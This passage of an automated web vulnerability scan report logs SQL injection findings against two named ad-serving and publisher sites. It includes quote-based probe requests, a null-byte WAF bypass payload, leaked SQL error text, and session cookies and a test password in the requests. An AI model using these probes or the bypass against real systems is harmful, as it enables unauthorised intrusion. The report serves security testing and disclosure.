Cookie: DW=216a3151297859685; IXAIBannerCounter174466=1; IXAIFirstHit2457=2%2f16%2f2011+7%3a07%3a58+AM; IXAIBanners2251=171021; IXAIBannerCounter171021=1; IXAIFirstHit2251=2%2f16%2f2011+8%3a18%3a55+AM; IXAILastHit2251=2%2f16%2f2011+8%3a18%3a55+AM; IXAICampaignCounter2251=1; IXAIBanners2357=173404; IXAIBannerCounter173404=1; IXAIFirstHit2357=2%2f28%2f2011+8%3a17%3a22+AM; IXAILastHit2357=2%2f28%2f2011+8%3a17%3a22+AM; IXAICampaignCounter2357=1; IXAIBanners2457=174466,175106,175106,175106; IXAIBannerCounter175106=3; IXAILastHit2457=3%2f7%2f2011+7%3a51%3a59+AM; IXAICampaignCounter2457=4; IXAIFirstHit2411=3%2f10%2f2011+11%3a08%3a04+AM; IXAIBanners2411=174145,174145,174145; IXAIBannerCounter174145=3; IXAILastHit2411=3%2f10%2f2011+11%3a29%3a10+AM; IXAICampaignCounter2411=3; IXAIBanners2528=174753; IXAIBannerCounter174753=1; IXAIFirstHit2528=3%2f10%2f2011+6%3a09%3a23+PM; IXAILastHit2528=3%2f10%2f2011+6%3a09%3a23+PM; IXAICampaignCounter2528=1; IXAIBanners2399=173670; IXAIBannerCounter173670=1; IXAIFirstHit2399=3%2f23%2f2011+2%3a40%3a24+PM; IXAILastHit2399=3%2f23%2f2011+2%3a40%3a24+PM; IXAICampaignCounter2399=1

Response 1

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 3034
Vary: Accept-Encoding
Date: Wed, 23 Mar 2011 19:41:14 GMT
Connection: close
Cache-Control: no-store

<html>
<head>
<title>Runtime Error</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";fon
...[SNIP]...

Request 2

GET /adServer/GetInvite2.aspx?esi=true&bannerID=173670&referer=ads.cnn.com&1''=1 HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://ads.cnn.com/html.ng/site=cnn_money&cnn_money_position=315x40_spon3&cnn_money_rollup=homepage&cnn_money_section=sponsor_center&params.styles=fs&tile=1300909177539&page.allowcompete=yes&domId=471129
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=216a3151297859685; IXAIBannerCounter174466=1; IXAIFirstHit2457=2%2f16%2f2011+7%3a07%3a58+AM; IXAIBanners2251=171021; IXAIBannerCounter171021=1; IXAIFirstHit2251=2%2f16%2f2011+8%3a18%3a55+AM; IXAILastHit2251=2%2f16%2f2011+8%3a18%3a55+AM; IXAICampaignCounter2251=1; IXAIBanners2357=173404; IXAIBannerCounter173404=1; IXAIFirstHit2357=2%2f28%2f2011+8%3a17%3a22+AM; IXAILastHit2357=2%2f28%2f2011+8%3a17%3a22+AM; IXAICampaignCounter2357=1; IXAIBanners2457=174466,175106,175106,175106; IXAIBannerCounter175106=3; IXAILastHit2457=3%2f7%2f2011+7%3a51%3a59+AM; IXAICampaignCounter2457=4; IXAIFirstHit2411=3%2f10%2f2011+11%3a08%3a04+AM; IXAIBanners2411=174145,174145,174145; IXAIBannerCounter174145=3; IXAILastHit2411=3%2f10%2f2011+11%3a29%3a10+AM; IXAICampaignCounter2411=3; IXAIBanners2528=174753; IXAIBannerCounter174753=1; IXAIFirstHit2528=3%2f10%2f2011+6%3a09%3a23+PM; IXAILastHit2528=3%2f10%2f2011+6%3a09%3a23+PM; IXAICampaignCounter2528=1; IXAIBanners2399=173670; IXAIBannerCounter173670=1; IXAIFirstHit2399=3%2f23%2f2011+2%3a40%3a24+PM; IXAILastHit2399=3%2f23%2f2011+2%3a40%3a24+PM; IXAICampaignCounter2399=1

Response 2

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Date: Wed, 23 Mar 2011 19:41:15 GMT
Connection: close
Cache-Control: no-store
Content-Length: 21944

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...

1.5. http://core.insightexpressai.com/adServer/GetInvite2.aspx [referer parameter]  previous  next

Summary

Severity:   High
Confidence:   Tentative
Host:   http://core.insightexpressai.com
Path:   /adServer/GetInvite2.aspx

Issue detail

The referer parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the referer parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

Request 1

GET /adServer/GetInvite2.aspx?esi=true&bannerID=173670&referer=ads.cnn.com' HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://ads.cnn.com/html.ng/site=cnn_money&cnn_money_position=315x40_spon3&cnn_money_rollup=homepage&cnn_money_section=sponsor_center&params.styles=fs&tile=1300909177539&page.allowcompete=yes&domId=471129
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=216a3151297859685; IXAIBannerCounter174466=1; IXAIFirstHit2457=2%2f16%2f2011+7%3a07%3a58+AM; IXAIBanners2251=171021; IXAIBannerCounter171021=1; IXAIFirstHit2251=2%2f16%2f2011+8%3a18%3a55+AM; IXAILastHit2251=2%2f16%2f2011+8%3a18%3a55+AM; IXAICampaignCounter2251=1; IXAIBanners2357=173404; IXAIBannerCounter173404=1; IXAIFirstHit2357=2%2f28%2f2011+8%3a17%3a22+AM; IXAILastHit2357=2%2f28%2f2011+8%3a17%3a22+AM; IXAICampaignCounter2357=1; IXAIBanners2457=174466,175106,175106,175106; IXAIBannerCounter175106=3; IXAILastHit2457=3%2f7%2f2011+7%3a51%3a59+AM; IXAICampaignCounter2457=4; IXAIFirstHit2411=3%2f10%2f2011+11%3a08%3a04+AM; IXAIBanners2411=174145,174145,174145; IXAIBannerCounter174145=3; IXAILastHit2411=3%2f10%2f2011+11%3a29%3a10+AM; IXAICampaignCounter2411=3; IXAIBanners2528=174753; IXAIBannerCounter174753=1; IXAIFirstHit2528=3%2f10%2f2011+6%3a09%3a23+PM; IXAILastHit2528=3%2f10%2f2011+6%3a09%3a23+PM; IXAICampaignCounter2528=1; IXAIBanners2399=173670; IXAIBannerCounter173670=1; IXAIFirstHit2399=3%2f23%2f2011+2%3a40%3a24+PM; IXAILastHit2399=3%2f23%2f2011+2%3a40%3a24+PM; IXAICampaignCounter2399=1

Response 1

HTTP/1.1 500 Internal Server Error
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Content-Length: 3034
Vary: Accept-Encoding
Date: Wed, 23 Mar 2011 19:41:07 GMT
Connection: close
Cache-Control: no-store

<html>
<head>
<title>Runtime Error</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";fon
...[SNIP]...

Request 2

GET /adServer/GetInvite2.aspx?esi=true&bannerID=173670&referer=ads.cnn.com'' HTTP/1.1
Host: core.insightexpressai.com
Proxy-Connection: keep-alive
Referer: http://ads.cnn.com/html.ng/site=cnn_money&cnn_money_position=315x40_spon3&cnn_money_rollup=homepage&cnn_money_section=sponsor_center&params.styles=fs&tile=1300909177539&page.allowcompete=yes&domId=471129
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: DW=216a3151297859685; IXAIBannerCounter174466=1; IXAIFirstHit2457=2%2f16%2f2011+7%3a07%3a58+AM; IXAIBanners2251=171021; IXAIBannerCounter171021=1; IXAIFirstHit2251=2%2f16%2f2011+8%3a18%3a55+AM; IXAILastHit2251=2%2f16%2f2011+8%3a18%3a55+AM; IXAICampaignCounter2251=1; IXAIBanners2357=173404; IXAIBannerCounter173404=1; IXAIFirstHit2357=2%2f28%2f2011+8%3a17%3a22+AM; IXAILastHit2357=2%2f28%2f2011+8%3a17%3a22+AM; IXAICampaignCounter2357=1; IXAIBanners2457=174466,175106,175106,175106; IXAIBannerCounter175106=3; IXAILastHit2457=3%2f7%2f2011+7%3a51%3a59+AM; IXAICampaignCounter2457=4; IXAIFirstHit2411=3%2f10%2f2011+11%3a08%3a04+AM; IXAIBanners2411=174145,174145,174145; IXAIBannerCounter174145=3; IXAILastHit2411=3%2f10%2f2011+11%3a29%3a10+AM; IXAICampaignCounter2411=3; IXAIBanners2528=174753; IXAIBannerCounter174753=1; IXAIFirstHit2528=3%2f10%2f2011+6%3a09%3a23+PM; IXAILastHit2528=3%2f10%2f2011+6%3a09%3a23+PM; IXAICampaignCounter2528=1; IXAIBanners2399=173670; IXAIBannerCounter173670=1; IXAIFirstHit2399=3%2f23%2f2011+2%3a40%3a24+PM; IXAILastHit2399=3%2f23%2f2011+2%3a40%3a24+PM; IXAICampaignCounter2399=1

Response 2

HTTP/1.1 200 OK
Content-Type: text/javascript; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.0
P3P: CP="OTI DSP COR CUR ADMi DEVi TAI PSA PSD IVD CONi TELi OUR BUS STA"
Date: Wed, 23 Mar 2011 19:41:07 GMT
Connection: close
Cache-Control: no-store
Content-Length: 21930

var InsightExpress={};InsightExpress.LogText='';InsightExpress.Log=function(s,s2){if(!InsightExpress.LogText)InsightExpress.LogText='';InsightExpress.LogText+=s+(s2?' = '+s2:'')+'\n'};InsightExpress.D
...[SNIP]...

1.6. http://publisher.mediapass.com/Affiliate/SignUpStep1.aspx [_ctl0%3AContentPlaceHolder2%3AEmail parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://publisher.mediapass.com
Path:   /Affiliate/SignUpStep1.aspx

Issue detail

The _ctl0%3AContentPlaceHolder2%3AEmail parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the _ctl0%3AContentPlaceHolder2%3AEmail parameter, and a database error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request 1

POST /Affiliate/SignUpStep1.aspx HTTP/1.1
Host: publisher.mediapass.com
Proxy-Connection: keep-alive
Referer: http://publisher.mediapass.com/join.aspx
Cache-Control: max-age=0
Origin: http://publisher.mediapass.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=152699238.1300485317.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ASP.NET_SessionId=hnh5hq55wwkisr45yfmircm3; __utma=152699238.1375779235.1300485317.1300485317.1300907296.2; __utmc=152699238; __utmb=152699238.9.10.1300907296
Content-Length: 1058

__VIEWSTATE=%2FwEPDwUKMTI5NDU5NDUwNg9kFgJmD2QWAgIFD2QWAgIBD2QWEAIPDw8WAh4HVmlzaWJsZWhkZAIRDw8WAh8AaGRkAhMPDxYCHwBoZGQCFQ8QDxYCHwBoZGQWAWZkAhcPDxYCHwBoZGQCGQ8QDxYCHwBoZGQWAWZkAhsPDxYCHwBoZGQCHQ8PZBYCHg
...[SNIP]...
ktICPCwKBobKNBALkzL2fBwKEvcn%2BDgKS95nPDwLz%2BdyBBQK67s2%2FCpxn8bt4%2Bx3LR4LpLNvwvOeeJAQF&_ctl0%3AContentPlaceHolder2%3AContact=Hoyt+LLC+Research&_ctl0%3AContentPlaceHolder2%3AEmail=h02332%40gmail.com'&_ctl0%3AContentPlaceHolder2%3ASendEmailNotification=on&_ctl0%3AContentPlaceHolder2%3APassword=LL123456%21&_ctl0%3AContentPlaceHolder2%3ASiteURL=http%3A%2F%2Fxss.cx&_ctl0%3AContentPlaceHolder2%3ASiteT
...[SNIP]...

Response 1

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 6489
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Wed, 23 Mar 2011 19:38:02 GMT

Incorrect syntax near 'h02332@gmail'.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/199
...[SNIP]...

Request 2

POST /Affiliate/SignUpStep1.aspx HTTP/1.1
Host: publisher.mediapass.com
Proxy-Connection: keep-alive
Referer: http://publisher.mediapass.com/join.aspx
Cache-Control: max-age=0
Origin: http://publisher.mediapass.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=152699238.1300485317.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ASP.NET_SessionId=hnh5hq55wwkisr45yfmircm3; __utma=152699238.1375779235.1300485317.1300485317.1300907296.2; __utmc=152699238; __utmb=152699238.9.10.1300907296
Content-Length: 1058

__VIEWSTATE=%2FwEPDwUKMTI5NDU5NDUwNg9kFgJmD2QWAgIFD2QWAgIBD2QWEAIPDw8WAh4HVmlzaWJsZWhkZAIRDw8WAh8AaGRkAhMPDxYCHwBoZGQCFQ8QDxYCHwBoZGQWAWZkAhcPDxYCHwBoZGQCGQ8QDxYCHwBoZGQWAWZkAhsPDxYCHwBoZGQCHQ8PZBYCHg
...[SNIP]...
ktICPCwKBobKNBALkzL2fBwKEvcn%2BDgKS95nPDwLz%2BdyBBQK67s2%2FCpxn8bt4%2Bx3LR4LpLNvwvOeeJAQF&_ctl0%3AContentPlaceHolder2%3AContact=Hoyt+LLC+Research&_ctl0%3AContentPlaceHolder2%3AEmail=h02332%40gmail.com''&_ctl0%3AContentPlaceHolder2%3ASendEmailNotification=on&_ctl0%3AContentPlaceHolder2%3APassword=LL123456%21&_ctl0%3AContentPlaceHolder2%3ASiteURL=http%3A%2F%2Fxss.cx&_ctl0%3AContentPlaceHolder2%3ASiteT
...[SNIP]...

Response 2

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10337
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Wed, 23 Mar 2011 19:38:06 GMT


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
<head><title>
   Step 2: C
...[SNIP]...

1.7. http://publisher.mediapass.com/Affiliate/SignUpStep1.aspx [_ctl0%3AContentPlaceHolder2%3AEmail parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://publisher.mediapass.com
Path:   /Affiliate/SignUpStep1.aspx

Issue detail

The _ctl0%3AContentPlaceHolder2%3AEmail parameter appears to be vulnerable to SQL injection attacks. The payload %00' was submitted in the _ctl0%3AContentPlaceHolder2%3AEmail parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses. NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.

Request

POST /Affiliate/SignUpStep1.aspx HTTP/1.1
Host: publisher.mediapass.com
Proxy-Connection: keep-alive
Referer: http://publisher.mediapass.com/join.aspx
Cache-Control: max-age=0
Origin: http://publisher.mediapass.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=152699238.1300485317.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ASP.NET_SessionId=hnh5hq55wwkisr45yfmircm3; __utma=152699238.1375779235.1300485317.1300485317.1300907296.2; __utmc=152699238; __utmb=152699238.9.10.1300907296
Content-Length: 1058

__VIEWSTATE=%2FwEPDwUKMTI5NDU5NDUwNg9kFgJmD2QWAgIFD2QWAgIBD2QWEAIPDw8WAh4HVmlzaWJsZWhkZAIRDw8WAh8AaGRkAhMPDxYCHwBoZGQCFQ8QDxYCHwBoZGQWAWZkAhcPDxYCHwBoZGQCGQ8QDxYCHwBoZGQWAWZkAhsPDxYCHwBoZGQCHQ8PZBYCHg
...[SNIP]...
ktICPCwKBobKNBALkzL2fBwKEvcn%2BDgKS95nPDwLz%2BdyBBQK67s2%2FCpxn8bt4%2Bx3LR4LpLNvwvOeeJAQF&_ctl0%3AContentPlaceHolder2%3AContact=Hoyt+LLC+Research&_ctl0%3AContentPlaceHolder2%3AEmail=h02332%40gmail.com%00'&_ctl0%3AContentPlaceHolder2%3ASendEmailNotification=on&_ctl0%3AContentPlaceHolder2%3APassword=LL123456%21&_ctl0%3AContentPlaceHolder2%3ASiteURL=http%3A%2F%2Fxss.cx&_ctl0%3AContentPlaceHolder2%3ASiteT
...[SNIP]...

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 390
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Wed, 23 Mar 2011 20:38:08 GMT

Incorrect syntax near 'h02332@gmail.com'.
Unclosed quotation mark after the character string 'h02332@gmail.com'.<p>SELECT Count(AffiliateID) As TheCount From tblaff_Affiliates (NOLOCK) Where Affilia
...[SNIP]...

1.8. http://publisher.mediapass.com/Affiliate/SignUpStep2.aspx [ASP.NET_SessionId cookie]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://publisher.mediapass.com
Path:   /Affiliate/SignUpStep2.aspx

Issue detail

The ASP.NET_SessionId cookie appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the ASP.NET_SessionId cookie, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

POST /Affiliate/SignUpStep2.aspx HTTP/1.1
Host: publisher.mediapass.com
Proxy-Connection: keep-alive
Referer: http://publisher.mediapass.com/Affiliate/SignUpStep1.aspx
Cache-Control: max-age=0
Origin: http://publisher.mediapass.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRjNBD4HSaGZZpm0D
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=152699238.1300485317.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ASP.NET_SessionId=hnh5hq55wwkisr45yfmircm3'; __utma=152699238.1375779235.1300485317.1300485317.1300907296.2; __utmc=152699238; __utmb=152699238.10.10.1300907296
Content-Length: 125009

------WebKitFormBoundaryRjNBD4HSaGZZpm0D
Content-Disposition: form-data; name="__VIEWSTATE"

/wEPDwUJNjg4NzczOTA2D2QWAmYPZBYCAgUPZBYCAgEPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGEWAgIJDxYCHgtfIUl0
...[SNIP]...

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10700
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
Set-Cookie: ASP.NET_SessionId=jbqhksnl43tbt455s3uurn3i; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Wed, 23 Mar 2011 19:45:42 GMT

Incorrect syntax near '='.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" >
...[SNIP]...

1.9. http://publisher.mediapass.com/Affiliate/SignUpStep2.aspx [_ctl0:ContentPlaceHolder2:pricingRepeater:_ctl0:pricingId parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://publisher.mediapass.com
Path:   /Affiliate/SignUpStep2.aspx

Issue detail

The _ctl0:ContentPlaceHolder2:pricingRepeater:_ctl0:pricingId parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the _ctl0:ContentPlaceHolder2:pricingRepeater:_ctl0:pricingId parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

POST /Affiliate/SignUpStep2.aspx HTTP/1.1
Host: publisher.mediapass.com
Proxy-Connection: keep-alive
Referer: http://publisher.mediapass.com/Affiliate/SignUpStep2.aspx
Cache-Control: max-age=0
Origin: http://publisher.mediapass.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycpL9gMpzEWtIBo8A
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=152699238.1300485317.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ASP.NET_SessionId=hnh5hq55wwkisr45yfmircm3; __utma=152699238.1375779235.1300485317.1300485317.1300907296.2; __utmc=152699238; __utmb=152699238.11.10.1300907296
Content-Length: 2670

------WebKitFormBoundarycpL9gMpzEWtIBo8A
Content-Disposition: form-data; name="__VIEWSTATE"

/wEPDwUJNjg4NzczOTA2D2QWAmYPZBYCAgUPZBYCAgEPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGEWBgIFDw8WBB4EVGV4
...[SNIP]...
ntentPlaceHolder2:pricingRepeater:_ctl0:price"

10
------WebKitFormBoundarycpL9gMpzEWtIBo8A
Content-Disposition: form-data; name="_ctl0:ContentPlaceHolder2:pricingRepeater:_ctl0:pricingId"

2238'
------WebKitFormBoundarycpL9gMpzEWtIBo8A
Content-Disposition: form-data; name="_ctl0:ContentPlaceHolder2:pricingRepeater:_ctl1:pricingPeriodSelect"

3_2592000
------WebKitFormBoundarycpL9gMpzEWt
...[SNIP]...

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10916
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Wed, 23 Mar 2011 19:41:52 GMT

Unclosed quotation mark after the character string ''.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http
...[SNIP]...

1.10. http://publisher.mediapass.com/Affiliate/SignUpStep2.aspx [_ctl0:ContentPlaceHolder2:pricingRepeater:_ctl1:pricingId parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://publisher.mediapass.com
Path:   /Affiliate/SignUpStep2.aspx

Issue detail

The _ctl0:ContentPlaceHolder2:pricingRepeater:_ctl1:pricingId parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the _ctl0:ContentPlaceHolder2:pricingRepeater:_ctl1:pricingId parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

POST /Affiliate/SignUpStep2.aspx HTTP/1.1
Host: publisher.mediapass.com
Proxy-Connection: keep-alive
Referer: http://publisher.mediapass.com/Affiliate/SignUpStep2.aspx
Cache-Control: max-age=0
Origin: http://publisher.mediapass.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycpL9gMpzEWtIBo8A
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=152699238.1300485317.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ASP.NET_SessionId=hnh5hq55wwkisr45yfmircm3; __utma=152699238.1375779235.1300485317.1300485317.1300907296.2; __utmc=152699238; __utmb=152699238.11.10.1300907296
Content-Length: 2670

------WebKitFormBoundarycpL9gMpzEWtIBo8A
Content-Disposition: form-data; name="__VIEWSTATE"

/wEPDwUJNjg4NzczOTA2D2QWAmYPZBYCAgUPZBYCAgEPFgIeB2VuY3R5cGUFE211bHRpcGFydC9mb3JtLWRhdGEWBgIFDw8WBB4EVGV4
...[SNIP]...
ontentPlaceHolder2:pricingRepeater:_ctl1:price"

9
------WebKitFormBoundarycpL9gMpzEWtIBo8A
Content-Disposition: form-data; name="_ctl0:ContentPlaceHolder2:pricingRepeater:_ctl1:pricingId"

2239'
------WebKitFormBoundarycpL9gMpzEWtIBo8A
Content-Disposition: form-data; name="_ctl0:ContentPlaceHolder2:pricingRepeater:_ctl2:pricingPeriodSelect"

6_2592000
------WebKitFormBoundarycpL9gMpzEWt
...[SNIP]...

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 10916
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
P3P: CP="NOI DSP COR NID ADMa OPTa OUR NOR"
X-Powered-By: ASP.NET
Date: Wed, 23 Mar 2011 19:44:46 GMT

Unclosed quotation mark after the character string ''.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http
...[SNIP]...

1.11. http://publisher.mediapass.com/Affiliate/SignUpStep2.aspx [_ctl0:ContentPlaceHolder2:pricingRepeater:_ctl2:pricingId parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://publisher.mediapass.com
Path:   /Affiliate/SignUpStep2.aspx

Issue detail

The _ctl0:ContentPlaceHolder2:pricingRepeater:_ctl2:pricingId parameter appears to be vulnerable to SQL injection attacks. The payload ' was submitted in the _ctl0:ContentPlaceHolder2:pricingRepeater:_ctl2:pricingId parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

POST /Affiliate/SignUpStep2.aspx HTTP/1.1
Host: publisher.mediapass.com
Proxy-Connection: keep-alive
Referer: http://publisher.mediapass.com/Affiliate/SignUpStep2.aspx
Cache-Control: max-age=0
Origin: http://publisher.mediapass.com
